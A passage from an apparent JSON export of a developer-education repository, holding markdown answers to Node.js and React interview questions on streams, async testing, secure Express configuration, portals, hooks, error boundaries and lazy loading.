Joi.string().min(8).pattern(/^(?=.*[A-Za-z])(?=.*\\d)/).required()\n});\n\napp.post('/register', async (req, res) => {\n  try {\n    const validated = await userSchema.validateAsync(req.body);\n    // Process validated data\n  } catch (err) {\n    res.status(400).json({ error: err.details[0].message });\n  }\n});\n```\n\n## 8. Secure Environment Variables\n\n```js\n// ❌ Never hardcode secrets\nconst JWT_SECRET = 'mysecret123';\n\n// ✅ Use environment variables\nimport 'dotenv/config';\nconst JWT_SECRET = process.env.JWT_SECRET;\n\n// ✅ Validate required env vars at startup\nconst requiredEnvVars = ['JWT_SECRET', 'DATABASE_URL', 'API_KEY'];\n\nrequiredEnvVars.forEach((varName) => {\n  if (!process.env[varName]) {\n    console.error(`Missing required env var: ${varName}`);\n    process.exit(1);\n  }\n});\n```\n\n## 9. HTTPS and Secure Cookies\n\n```js\n// Force HTTPS in production\nif (process.env.NODE_ENV === 'production') {\n  app.use((req, res, next) => {\n    if (req.header('x-forwarded-proto') !== 'https') {\n      return res.redirect(`https://${req.header('host')}${req.url}`);\n    }\n    next();\n  });\n}\n\n// Secure session configuration\nimport session from 'express-session';\n\napp.use(session({\n  secret: process.env.SESSION_SECRET,\n  resave: false,\n  saveUninitialized: false,\n  cookie: {\n    secure: true,\n    httpOnly: true,\n    sameSite: 'strict',\n    maxAge: 24 * 60 * 60 * 1000\n  }\n}));\n```\n\n## Security Checklist\n\n- ✅ Use parameterized queries (prevent SQL injection)\n- ✅ Validate and sanitize all user input\n- ✅ Use Helmet.js for security headers\n- ✅ Implement rate limiting\n- ✅ Hash passwords with bcrypt (salt rounds ≥ 12)\n- ✅ Use HTTPS in production\n- ✅ Store secrets in environment variables\n- ✅ Keep dependencies updated\n- ✅ Use HTTP-only, secure cookies\n- ✅ Implement proper CORS policies\n\n"
  },
  {
    "path": "src/data/question-groups/nodejs/content/streams-and-buffers.md",
    "content": "Streams are collections of data that might not be available all at once and don't have to fit in memory. They're perfect for handling large files or data that comes from an external source piece by piece. Buffers are temporary storage for binary data.\n\n## Four Types of Streams\n\n### 1. Readable Streams\nData source that you can read from.\n\n```js\nimport fs from 'node:fs';\n\nconst readable = fs.createReadStream('large-file.txt', {\n  highWaterMark: 16 * 1024 // 16KB chunks\n});\n\nreadable.on('data', (chunk) => {\n  console.log(`Received ${chunk.length} bytes`);\n});\n\nreadable.on('end', () => {\n  console.log('Finished reading');\n});\n```\n\n### 2. Writable Streams\nDestination that you can write data to.\n\n```js\nconst writable = fs.createWriteStream('output.txt');\n\nwritable.write('Hello ');\nwritable.write('World!');\nwritable.end(); // Signal no more data\n\nwritable.on('finish', () => {\n  console.log('Write completed');\n});\n```\n\n### 3. Duplex Streams\nBoth readable and writable (e.g., TCP sockets).\n\n```js\nimport net from 'node:net';\n\nconst server = net.createServer((socket) => {\n  // socket is a duplex stream\n  socket.on('data', (data) => {\n    socket.write(`Echo: ${data}`);\n  });\n});\n```\n\n### 4. Transform Streams\nModify data as it passes through.\n\n```js\nimport { Transform } from 'node:stream';\n\nconst upperCase = new Transform({\n  transform(chunk, encoding, callback) {\n    this.push(chunk.toString().toUpperCase());\n    callback();\n  }\n});\n```\n\nprocess.stdin.pipe(upperCase).pipe(process.stdout);\n```\n\n## Buffer vs Reading Entire File\n\n```js\nimport fs from 'node:fs';\n\n// ❌ Bad: Loads entire file in memory\nconst data = fs.readFileSync('large-file.txt');\nconsole.log(data.length); // Could crash with large files\n\n// ✅ Good: Streams process chunks\nconst stream = fs.createReadStream('large-file.txt');\nlet size = 0;\nstream.on('data', (chunk) => {\n  size += chunk.length;\n});\nstream.on('end', () => {\n  console.log(`Total size: ${size}`);\n});\n```\n\n## Piping Streams\n\nChain streams together for powerful data processing:\n\n```js\nimport fs from 'node:fs';\nimport zlib from 'node:zlib';\n\n// Compress a file using streams\nfs.createReadStream('input.txt')\n  .pipe(zlib.createGzip())\n  .pipe(fs.createWriteStream('input.txt.gz'))\n  .on('finish', () => console.log('Compression complete'));\n```\n\n## Handling Backpressure\n\nWhen writable stream can't keep up with readable stream:\n\n```js\nimport fs from 'node:fs';\n\nconst readable = fs.createReadStream('source.txt');\nconst writable = fs.createWriteStream('dest.txt');\n\nreadable.on('data', (chunk) => {\n  const canContinue = writable.write(chunk);\n  \n  if (!canContinue) {\n    // Pause reading until drain event\n    readable.pause();\n    writable.once('drain', () => {\n      readable.resume();\n    });\n  }\n});\n```\n\n## When to Use Streams\n\n| Use Streams When | Use Buffer When |\n|-----------------|-----------------|\n| Large files (>100MB) | Small files (<10MB) |\n| Real-time data processing | Need entire data at once |\n| Memory is limited | Simple operations |\n| Network I/O | Data fits in memory |\n\n## Working with Buffers\n\n```js\n// Create buffer\nconst buf1 = Buffer.alloc(10); // 10 bytes, filled with zeros\nconst buf2 = Buffer.from('Hello');\nconst buf3 = Buffer.from([72, 101, 108, 108, 111]);\n\n// Read/Write\nbuf1.write('Hi');\nconsole.log(buf2.toString()); // 'Hello'\n\n// Concatenate\nconst combined = Buffer.concat([buf2, Buffer.from(' World')]);\nconsole.log(combined.toString()); // 'Hello World'\n```\n\n"
  },
  {
    "path": "src/data/question-groups/nodejs/content/testing-async-code.md",
    "content": "Testing asynchronous code in Node.js requires special handling to ensure tests wait for async operations to complete. Different testing frameworks provide various approaches to handle promises, callbacks, and async/await.\n\n## Testing with Jest\n\n### Async/Await (Recommended)\n\n```js\n// Function to test\nasync function fetchUser(id) {\n  const response = await fetch(`/api/users/${id}`);\n  return response.json();\n}\n\n// Test\ntest('fetchUser returns user data', async () => {\n  const user = await fetchUser(1);\n  \n  expect(user).toHaveProperty('id', 1);\n  expect(user).toHaveProperty('name');\n});\n```\n\n### Using Promises\n\n```js\ntest('fetchUser returns user data', () => {\n  return fetchUser(1).then(user => {\n    expect(user).toHaveProperty('id', 1);\n  });\n});\n\n// Or with resolves/rejects matchers\ntest('fetchUser resolves with user', () => {\n  return expect(fetchUser(1)).resolves.toHaveProperty('id', 1);\n});\n\ntest('fetchUser rejects for invalid id', () => {\n  return expect(fetchUser(-1)).rejects.toThrow('User not found');\n});\n```\n\n### Testing Callbacks\n\n```js\n// Using done callback\ntest('callback is called with data', (done) => {\n  fetchUserCallback(1, (err, user) => {\n    try {\n      expect(err).toBeNull();\n      expect(user).toHaveProperty('id', 1);\n      done();\n    } catch (error) {\n      done(error);\n    }\n  });\n});\n```\n\n## Mocking Async Functions\n\n### Mocking API Calls\n\n```js\n// userService.js\nimport axios from 'axios';\n\nasync function getUser(id) {\n  const response = await axios.get(`/api/users/${id}`);\n  return response.data;\n}\n\n// userService.test.js\njest.mock('axios');\n\ntest('getUser fetches user from API', async () => {\n  const mockUser = { id: 1, name: 'John' };\n  axios.get.mockResolvedValue({ data: mockUser });\n  \n  const user = await getUser(1);\n  \n  expect(axios.get).toHaveBeenCalledWith('/api/users/1');\n  expect(user).toEqual(mockUser);\n});\n\ntest('getUser handles errors', async () => {\n  axios.get.mockRejectedValue(new Error('Network error'));\n  \n  await expect(getUser(1)).rejects.toThrow('Network error');\n});\n```\n\n### Mocking Database Calls\n\n```js\n// userRepository.js\nimport db from './db.js';\n\nasync function findUserById(id) {\n  return db.query('SELECT * FROM users WHERE id = ?', [id]);\n}\n\n// userRepository.test.js\njest.mock('./db');\n\ntest('findUserById queries database', async () => {\n  const mockUser = { id: 1, name: 'John' };\n  db.query.mockResolvedValue([mockUser]);\n  \n  const user = await findUserById(1);\n  \n  expect(db.query).toHaveBeenCalledWith(\n    'SELECT * FROM users WHERE id = ?',\n    [1]\n  );\n  expect(user).toEqual([mockUser]);\n});\n```\n\n## Testing with Mocha\n\n```js\nimport { expect } from 'chai';\n\ndescribe('User API', () => {\n  // Async/Await\n  it('should fetch user', async () => {\n    const user = await fetchUser(1);\n    expect(user).to.have.property('id', 1);\n  });\n  \n  // Promises\n  it('should fetch user with promise', () => {\n    return fetchUser(1).then(user => {\n      expect(user).to.have.property('id', 1);\n    });\n  });\n  \n  // Done callback\n  it('should call callback with user', (done) => {\n    fetchUserCallback(1, (err, user) => {\n      expect(err).to.be.null;\n      expect(user).to.have.property('id', 1);\n      done();\n    });\n  });\n});\n```\n\n## Testing Timers\n\n```js\n// Function using setTimeout\nfunction delayedGreeting(callback) {\n  setTimeout(() => {\n    callback('Hello!');\n  }, 1000);\n}\n\n// Test with fake timers\nbeforeEach(() => {\n  jest.useFakeTimers();\n});\n\nafterEach(() => {\n  jest.useRealTimers();\n});\n\ntest('calls callback after 1 second', () => {\n  const callback = jest.fn();\n  \n  delayedGreeting(callback);\n  \n  expect(callback).not.toHaveBeenCalled();\n  \n  jest.advanceTimersByTime(1000);\n  \n  expect(callback).toHaveBeenCalledWith('Hello!');\n});\n```\n\n## Testing Event Emitters\n\n```js\nimport EventEmitter from 'node:events';\n\nclass DataProcessor extends EventEmitter {\n  async process(data) {\n    this.emit('start');\n    const result = await processData(data);\n    this.emit('complete', result);\n    return result;\n  }\n}\n\ntest('emits events during processing', async () => {\n  const processor = new DataProcessor();\n  const startHandler = jest.fn();\n  const completeHandler = jest.fn();\n  \n  processor.on('start', startHandler);\n  processor.on('complete', completeHandler);\n  \n  await processor.process({ value: 42 });\n  \n  expect(startHandler).toHaveBeenCalled();\n  expect(completeHandler).toHaveBeenCalledWith(\n    expect.objectContaining({ processed: true })\n  );\n});\n```\n\n## Testing HTTP Endpoints\n\n```js\nimport request from 'supertest';\nimport app from './app.js';\n\ndescribe('GET /api/users', () => {\n  it('returns list of users', async () => {\n    const response = await request(app)\n      .get('/api/users')\n      .expect('Content-Type', /json/)\n      .expect(200);\n    \n    expect(response.body).toBeInstanceOf(Array);\n    expect(response.body.length).toBeGreaterThan(0);\n  });\n});\n\ndescribe('POST /api/users', () => {\n  it('creates a new user', async () => {\n    const newUser = { name: 'John', email: 'john@example.com' };\n    \n    const response = await request(app)\n      .post('/api/users')\n      .send(newUser)\n      .expect(201);\n    \n    expect(response.body).toMatchObject(newUser);\n    expect(response.body).toHaveProperty('id');\n  });\n});\n```\n\n## Common Pitfalls\n\n### Forgetting to return/await\n\n```js\n// ❌ Test passes even if promise rejects!\ntest('bad test', () => {\n  fetchUser(1).then(user => {\n    expect(user.id).toBe(999); // Never executed\n  });\n});\n\n// ✅ Correct - return the promise\ntest('good test', () => {\n  return fetchUser(1).then(user => {\n    expect(user.id).toBe(1);\n  });\n});\n\n// ✅ Or use async/await\ntest('better test', async () => {\n  const user = await fetchUser(1);\n  expect(user.id).toBe(1);\n});\n```\n\n### Timeout Issues\n\n```js\n// Increase timeout for slow operations\ntest('slow operation', async () => {\n  const result = await slowOperation();\n  expect(result).toBeDefined();\n}, 10000); // 10 second timeout\n\n// Or set globally\njest.setTimeout(10000);\n```\n\n"
  },
  {
    "path": "src/data/question-groups/nodejs/content/web-server.md",
    "content": "To create a minimal `Hello, World!` HTTP server in Node.js, you can use the `http` module. It provides an HTTP server, and the createServer() method sets up a server instance with a callback function to handle incoming requests\n\n```js\nimport http from 'node:http';\n\nconst server = http.createServer((req, res) => {\n  res.writeHead(200, { 'Content-Type': 'text/plain' });\n  res.end('Hello World\\n');\n});\n\nserver.listen(3000, () => {\n  console.log('Server running at http://localhost:3000/');\n});\n```\n"
  },
  {
    "path": "src/data/question-groups/nodejs/nodejs.md",
    "content": "---\norder: 1\nbriefTitle: 'Node.js'\nbriefDescription: 'Test, rate and improve your Node.js knowledge with these questions.'\ntitle: 'Node.js Questions'\ndescription: 'Test, rate and improve your Node.js knowledge with these questions.'\nisNew: false\nseo:\n  title: 'Node.js Questions'\n  description: 'Curated list of Node.js questions to test, rate and improve your knowledge. Questions are based on real world experience and knowledge.'\n  ogImageUrl: 'https://assets.roadmap.sh/guest/nodejs-questions-x6n2w.jpg'\n  keywords:\n    - 'node.js quiz'\n    - 'node.js questions'\n    - 'node.js interview questions'\n    - 'node.js interview'\n    - 'node.js test'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\nquestions:\n  - question: What is Node.js?\n    answer: Node.js is an open-source and cross-platform JavaScript runtime built on Chrome's V8 JavaScript engine. Node.js uses an event-driven, non-blocking I/O model that makes it lightweight and efficient.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: What is REPL in Node.js?\n    answer: |\n      REPL stands for Read-Eval-Print-Loop. It is an interactive shell that allows you to execute JavaScript code and view the output immediately. It is useful for testing small snippets of code and experimenting with the Node.js API.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: What is the difference between Node.js and JavaScript?\n    answer: Node.js is a runtime environment for JavaScript. JavaScript is a programming language used to create web applications. Node.js is a runtime environment that can execute JavaScript code outside of a web browser.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: What is Event Loop in Node.js?\n    answer: |\n      The event loop is a single-threaded loop responsible for handling all asynchronous tasks in Node.js. It continuously checks for events and executes associated callback functions, allowing Node.js to handle asynchronous tasks efficiently. Its non-blocking I/O model ensures that it can process multiple operations simultaneously without waiting for one to complete before moving on to the next, contributing to its scalability and performance. [Watch this video](https://www.youtube.com/watch?v=8aGhZQkoFbQ) to learn more about the topic.\n    topics:\n      - 'Core'\n      - 'Intermediate'\n  - question: What is the difference between Node.js and AJAX?\n    answer: |\n      Node.js is a server-side runtime for JavaScript, while AJAX is a client-side technique for asynchronous communication with the server.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: What are modules in Node.js?\n    answer: |\n      Modules are reusable blocks of code that can be imported into other files. They are used to encapsulate related code into a single unit of code that can be used in other parts of the program. It allow us to split our code into multiple files and reuse it across multiple files. Some built-in modules include `fs`, `http`, `path`, `url`, `util`, etc.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: Difference between CommonJS and ESM?\n    answer: commonjs-vs-esm.md\n    topics:\n      - 'Core'\n      - 'Intermediate'\n  - question: What is the `global` object in Node.js?\n    answer: |\n      The `global` object is a global namespace object that contains all global variables, functions, and objects. It is similar to the `window` object in the browser. It can be accessed from anywhere in the program without importing it.\n    topics:\n      - 'Core'\n      - 'Intermediate'\n  - question: What is the difference between `process.nextTick()` and `setImmediate()`?\n    answer: |\n      `process.nextTick()` and `setImmediate()` are both used to schedule a callback function to be executed in the next iteration of the event loop. The difference is that `process.nextTick()` executes the callback at the end of the current iteration of the event loop, while `setImmediate()` executes the callback at the beginning of the next iteration of the event loop.\n    topics:\n      - 'Core'\n      - 'Intermediate'\n  - question: What is `setInterval()`?\n    answer: |\n      `setInterval()` is a global function that helps you execute a function repeatedly at a fixed delay. It returns an interval ID that uniquely identifies the interval, which can be used to cancel the interval using the `clearInterval()` function.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: What is `setTimeout()`?\n    answer: |\n      `setTimeout()` is a global function that helps you execute a function after a specified delay. It returns a timeout ID that uniquely identifies the timeout, which can be used to cancel the timeout using the `clearTimeout()` function.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: What are Event Emitters in Node.js?\n    answer: |\n      Event Emitters is a class that can be used to emit named events and register listeners for those events. It is used to handle asynchronous events in Node.js.\n    topics:\n      - 'Core'\n      - 'Intermediate'\n  - question: What is `npm`?\n    answer: |\n      `npm` is a package manager for Node.js. It is used to install, update, and remove packages from the Node.js ecosystem. It is also used to manage dependencies for Node.js projects.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: What is the full form of `npm`?\n    answer: |\n      `npm` stands for Node Package Manager.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: What is `npx`?\n    answer: |\n      `npx` is a tool that allows you to run Node.js packages without installing them. It is used to execute Node.js packages that are not installed globally.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: What is `process.cwd()`?\n    answer: |\n      `process.cwd()` returns the current working directory of the Node.js process. It is similar to `pwd` in Unix.\n    topics:\n      - 'Core'\n      - 'Intermediate'\n  - question: What is the difference between `process.cwd()` and `__dirname`?\n    answer: process-cwd-vs-dirname.md\n    topics:\n      - 'Core'\n      - 'Intermediate'\n  - question: What is `__filename`?\n    answer: |\n      `__filename` is a global variable that contains the absolute path of the current file.\n    topics:\n      - 'Core'\n      - 'Intermediate'\n  - question: What is `process.argv`?\n    answer: process-argv.md\n    topics:\n      - 'Core'\n      - 'Intermediate'\n  - question: What is the purpose of `fs` module?\n    answer: |\n      The File System (fs) module is used to perform file operations such as reading, writing, and deleting files. All file system operations have synchronous and asynchronous forms.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: What is the purpose of `path` module?\n    answer: |\n      The Path module is used to perform operations on file and directory paths. It provides methods for resolving and normalizing paths, joining paths, and extracting file and directory names.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: How to read a file in Node.js?\n    answer: |\n      The `fs.readFile()` method is used to read the contents of a file asynchronously. It takes the path of the file to be read and a callback function as arguments. The callback function is called with two arguments, `err` and `data`. If an error occurs while reading the file, the `err` argument will contain the error object. Otherwise, the `data` argument will contain the contents of the file.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: How to load environment variables from a `.env` file in Node.js?\n    answer: |\n      The `dotenv` package is used to load environment variables from a `.env` file into `process.env`. It is used to store sensitive information such as API keys, database credentials, etc. in a `.env` file instead of hardcoding them in the source code.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: How to access environment variables in Node.js?\n    answer: |\n      Environment variables can be accessed using the `process.env` object. It is an object that contains all the environment variables defined in the current process.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: How to take user input from the command line in Node.js?\n    answer: input-from-command-line.md\n    topics:\n      - 'CLI'\n      - 'Beginner'\n  - question: How to create a web server in Node.js?\n    answer: web-server.md\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: What are streams in Node.js?\n    answer: |\n      Streams are objects that allow you to read data from a source or write data to a destination in a continuous manner. They are used to handle large amounts of data efficiently.\n    topics:\n      - 'Core'\n      - 'Advanced'\n  - question: What is difference between `fork` and `spawn` methods of `child_process` module?\n    answer: |\n      The `fork` method is used when you want to run another JavaScript file in a separate worker. It's like having a friend with a specific task. You can communicate with them via messages and they can send messages back to you. The `spawn` method is used when you want to run a command in a separate process. It's like asking someone to do a specific. You can communicate with them via stdin/stdout/stderr, but it's more like giving orders and getting results.\n    topics:\n      - 'Core'\n      - 'Advanced'\n  - question: What is the `os` module?\n    answer: |\n      The `os` module provides methods for interacting with the operating system. It can be used to get information about the operating system, such as the hostname, platform, architecture, etc.\n    topics:\n      - 'Core'\n      - 'Intermediate'\n  - question: Can you access the DOM in Node.js?\n    answer: |\n      No, you cannot access the DOM in Node.js because it does not have a DOM. It is a server-side runtime for JavaScript, so it does not have access to the browser's DOM.\n    topics:\n      - 'Core'\n      - 'Intermediate'\n  - question: What is Clustering in Node.js?\n    answer: |\n      Clustering is a technique used to distribute the load across multiple processes. It is used to improve the performance and scalability of Node.js applications.\n    topics:\n      - 'Core'\n      - 'Advanced'\n  - question: How can memory leaks happen in Node.js?\n    answer: |\n      Memory leaks happen when a program allocates memory but does not release it when it is no longer needed. This can happen due to bugs in the program or due to the way the program is designed. In Node.js, memory leaks can happen due to the use of closures, circular references, and global variables.\n    topics:\n      - 'Core'\n      - 'Intermediate'\n  - question: What is the order priority of `process.nextTick`, `Promise`, `setTimeout`, and `setImmediate`?\n    answer: order-priority.md\n    topics:\n      - 'Core'\n      - 'Intermediate'\n  - question: What is `process.exit()`?\n    answer: |\n      `process.exit()` is a method that can be used to exit the current process. It takes an optional exit code as an argument. If no exit code is specified, it defaults to 0.\n    topics:\n      - 'Core'\n      - 'Intermediate'\n  - question: Different exit codes in Node.js?\n    answer: exit-codes.md\n    topics:\n      - 'Core'\n      - 'Intermediate'\n  - question: How Node.js handle errors?\n    answer: error-handling.md\n    topics:\n      - 'Core'\n      - 'Intermediate'\n---\n"
  },
  {
    "path": "src/data/question-groups/react/content/component-lifecycle.md",
    "content": "In React functional components, lifecycle-like behaviors are achieved using hooks:\n\n## Mounting and Unmounting\n\nUtilizing the useEffect hook with an empty dependency array ([]) ensures the hook runs after the component mounts to the DOM.\n\n```js\nuseEffect(() => {\n  // do something after component mounts\n  return () => {\n    // do something before component unmounts\n  };\n}, []);\n```\n\nThe cleanup function returned within the useEffect callback offers a mechanism for handling tasks when the component is about to **unmount**.\n\n## Updates\n\nThe useEffect hook, when invoked without a dependency array or with specific dependencies, executes after every render or when specified prop/state changes are detected.\n\n```js\nuseEffect(() => {\n  // do something after every render\n});\n```\n\n```js\nuseEffect(() => {\n  // do something after specific prop/state changes\n}, [state1, state2]);\n```\n"
  },
  {
    "path": "src/data/question-groups/react/content/controlled-vs-uncontrolled.md",
    "content": "A Controlled Component is one that takes its current value through props and notifies changes through callbacks like `onChange`. A parent component \"controls\" it by handling the callback and managing its own state and passing the new values as props to the controlled component. You could also call this a \"dumb component\".\n\nA Uncontrolled Component is one that stores its own state internally, and you query the DOM using a `ref` to find its current value when you need it. This is a bit more like traditional HTML.\n\nMost native React form components support both controlled and uncontrolled usage:\n\n```jsx\n// Controlled:\n<input type=\"text\" value={value} onChange={handleChange} />\n\n// Uncontrolled:\n<input type=\"text\" defaultValue=\"foo\" ref={inputRef} />\n// Use `inputRef.current.value` to read the current value of <input>\n```"
  },
  {
    "path": "src/data/question-groups/react/content/create-portal.md",
    "content": "`createPortal` is a method on the `ReactDOM` object. It is used to render a React element into another DOM element outside of the parent component. This is useful for cases like modals, popups, or tooltips where you want the component to break out of its container.\n\n```js\nReactDOM.createPortal(child, container);\n```\n\nThe first argument (`child`) is any renderable React child, such as an element, string, or fragment. The second argument (`container`) is a DOM element.\n\nThe `Modal` component below is a simple example of a modal component that uses `createPortal` to render its children into a DOM element with the id `root`. The `Modal` component is rendered as a child of the `App` component, but the modal itself is rendered outside of the `App` component.\n\n```js\nimport { createPortal } from 'react-dom';\n\nexport function Modal({ isOpen, onClose, children }) {\n  if (!isOpen) return null;\n\n  return createPortal(\n    <div\n      role=\"dialog\"\n      aria-modal=\"true\"\n      style={{\n        position: 'fixed',\n        top: '50%',\n        left: '50%',\n        transform: 'translate(-50%, -50%)',\n        backgroundColor: 'white',\n        padding: '20px',\n        zIndex: 1000,\n      }}\n    >\n      <button onClick={onClose} aria-label=\"Close Modal\">\n        Close\n      </button>\n      {children}\n    </div>,\n    document.getElementById('root')\n  );\n}\n```\n\nThe `Modal` component can be used like this:\n\n```js\nimport { useState } from 'react';\nimport { Modal } from './modal';\n\nexport function App() {\n  const [isOpen, setIsOpen] = useState(false);\n\n  return (\n    <div>\n      <button onClick={() => setIsOpen(true)}>Open Modal</button>\n      <Modal isOpen={isOpen} onClose={() => setIsOpen(false)}>\n        <h1>Modal Title</h1>\n        <p>Modal Content</p>\n      </Modal>\n    </div>\n  );\n}\n```\n"
  },
  {
    "path": "src/data/question-groups/react/content/custom-hook.md",
    "content": "**Custom hooks** are a mechanism for code reuse in React and allow you to extract component logic into reusable functions. Custom hooks can be used to share logic between components or to abstract away complex logic to make components more readable.\n\nLet's look at an example of a custom hook that return network status information:\n\n## Creating a Custom hook\n\nCustom hooks are named with the prefix `use` and can call other hooks if needed. They can also accept arguments and return values.\n\n```js\nimport { useState, useEffect } from 'react';\n\nfunction useNetworkStatus() {\n  const [isOnline, setIsOnline] = useState(true);\n\n  useEffect(() => {\n    function handleOnline() {\n      setIsOnline(true);\n    }\n\n    function handleOffline() {\n      setIsOnline(false);\n    }\n\n    window.addEventListener('online', handleOnline);\n    window.addEventListener('offline', handleOffline);\n\n    return () => {\n      window.removeEventListener('online', handleOnline);\n      window.removeEventListener('offline', handleOffline);\n    };\n  }, []);\n\n  return isOnline;\n}\n```\n\nThe custom hook above uses the `useState` and `useEffect` hooks to track the network status of the browser. It returns a boolean value that indicates whether the browser is online or offline.\n\n## Using a Custom hook\n\n```js\nfunction NetworkStatus() {\n  const isOnline = useNetworkStatus();\n\n  return (\n    <div>\n      <p>You are {isOnline ? 'online' : 'offline'}.</p>\n    </div>\n  );\n}\n```\n"
  },
  {
    "path": "src/data/question-groups/react/content/error-boundaries.md",
    "content": "Error boundaries are special React components that catch JavaScript errors during rendering, in lifecycle methods, and during the constructor of whole tree below them. They are used to handle errors gracefully by displaying a fallback UI and preventing the entire application from crashing due to unhandled errors.\n\nYou can use [react-error-boundary](https://npm.im/react-error-boundary) package to create error boundaries in your application. It provides a `ErrorBoundary` component that you can wrap around any component that might throw an error. The `ErrorBoundary` component takes a `FallbackComponent` prop that is used to render a fallback UI when an error occurs.\n\n## Capturing Errors\n\n```js\nimport { ErrorBoundary } from 'react-error-boundary';\nimport { FetchData } from './FetchData';\n\nfunction ErrorFallback({ error, resetErrorBoundary }) {\n  return (\n    <div role=\"alert\">\n      <p>Something went wrong:</p>\n      <pre>{error.message}</pre>\n      <button onClick={resetErrorBoundary}>Try again</button>\n    </div>\n  );\n}\n\nexport function App() {\n  return (\n    <ErrorBoundary FallbackComponent={ErrorFallback}>\n      <FetchData />\n    </ErrorBoundary>\n  );\n}\n```\n\nThis `FetchData` component will throw an error when it is rendered, and the `ErrorBoundary` component will catch the error and display the `ErrorFallback` component.\n\n```js\nexport function FetchData() {\n  throw new Error('Error fetching data');\n  return <p>This will never render</p>;\n}\n```\n"
  },
  {
    "path": "src/data/question-groups/react/content/flush-sync.md",
    "content": "The `flushSync` function in React is used to flush updates synchronously. It schedules updates to be performed inside a high-priority task, ensuring that the updates are executed immediately and synchronously before returning control to the caller.\n\n```js\nimport { flushSync } from 'react-dom';\n\nflushSync(callback);\n```\n\nThis is useful in situations where you need the DOM to be updated immediately, such as for measurements or to ensure synchronous rendering. However, excessive use of `flushSync` can lead to degraded performance, so it should be used judiciously.\n"
  },
  {
    "path": "src/data/question-groups/react/content/investigate-slow-app.md",
    "content": "There are many reasons why an app might be slow. It could be due to a slow network, a slow backend, or a slow client. It could also be due to a memory leak, unnecessary re-renders, or large bundle sizes.\n\nHere are some tips to help you investigate and fix performance issues:\n\n## Use the React DevTools Profiler\n\nThe React DevTools Profiler helps you visualize how components render and identify costly renderings. It can also help you identify unnecessary re-renders.\n\n## Check for Unnecessary Renders\n\nEnsure that components don't render more often than needed. Be clear about the `useEffect` dependencies and avoid creating new objects or arrays every render, as these can trigger unnecessary child component renders. Tools like [why-did-you-render](https://npm.im/@welldone-software/why-did-you-render) can help spot unnecessary re-renders.\n\n## Analyze Bundle Size\n\nUse your production build to analyze your bundle size. Tools like [webpack-bundle-analyzer](https://npm.im/webpack-bundle-analyzer) or [source-map-explorer](https://npm.im/source-map-explorer) can help you see if large libraries or unused code is slowing down the initial load.\n\n## Optimize Images & Assets\n\nEnsure images are appropriately sized and use modern formats. Also, consider using CDNs for assets that don't change often.\n\n## Lazy Load Components\n\nUse `lazy()` and dynamic imports to split your bundle and load components only when they're needed. This can help reduce the initial load time.\n\n## Check Network Requests\n\nSlow API calls or fetching large amounts of data can affect performance. Optimize your backend, paginate data, or cache results. You can also use tools like [@tanstack/react-query](https://npm.im/@tanstack/react-query) or [swr](https://npm.im/swr) to help manage data fetching and caching.\n\n## Use Production Build for Testing\n\nEnsure you're testing the performance on a production build, as development builds are often slower due to extra checks and logs.\n\nRegularly profiling and monitoring your app can help you spot and fix performance issues before they become significant problems. You can use tools like [Lighthouse](https://developers.google.com/web/tools/lighthouse) or [Calibre](https://calibreapp.com) to monitor your app's performance over time.\n"
  },
  {
    "path": "src/data/question-groups/react/content/lazy-loading.md",
    "content": "You can use React's `lazy()` function in conjunction with dynamic `import()` to lazily load a component. This is often combined with `Suspense` to display fallback content while the component is being loaded.\n\n```js\n// The component has to be exported as a default export\nexport default function RoadmapRender() {\n  return <h1>This is a lazily-loaded component!</h1>;\n}\n```\n\n```js\nimport { lazy, Suspense } from 'react';\n\nconst LazyRoadmapRender = lazy(() => delay(import('./RoadmapRender')));\n\nexport function App() {\n  const [showRoadmapRender, setShowRoadmapRender] = useState(false);\n  return (\n    <>\n      <button onClick={() => setShowRoadmapRender(true)}>\n        Show RoadmapRender\n      </button>\n      {showRoadmapRender && (\n        <Suspense fallback={<div>Loading...</div>}>\n          <LazyRoadmapRender />\n        </Suspense>\n      )}\n    </>\n  );\n}\n\n// Helper function to simulate a 2 seconds delay\nfunction delay(promise) {\n  return new Promise((resolve) => setTimeout(resolve, 2000)).then(\n    () => promise\n  );\n}\n```\n\nThe `RoadmapRender` component is lazily loaded and rendered inside the `Suspense` component. While the component is being loaded, the `Suspense` component will display the fallback content.\n"
  },
  {
    "path": "src/data/question-groups/react/content/pure-components.md",
    "content": "Pure components re-render only when the props passed to the component changes. For example, if you have a pure child component inside a parent component state changes in the parent component will not re-render the child component unless the props passed to the child component change.\n\nTo create a pure component, you can use the `memo` function from React. It is a higher order component which takes a component as an argument and returns a new component. The new component renders only if the props change.\n\n```javascript\nimport React, { memo } from 'react';\n\nconst ChildComponent = ({ name }) => {\n  console.log('Rendering child component');\n  return <div>{name}</div>;\n};\n\nconst PureChildComponent = memo(ChildComponent);\n\nconst ParentComponent = () => {\n  const [count, setCount] = useState(0);\n  const [name, setName] = useState('John');\n\n  return (\n    <div>\n      <button onClick={() => setCount(count + 1)}>Count - {count}</button>\n      <button onClick={() => setName('Jane')}>Change name</button>\n      <PureChildComponent name={name} />\n    </div>\n  );\n};\n```"
  },
  {
    "path": "src/data/question-groups/react/content/re-renders.md",
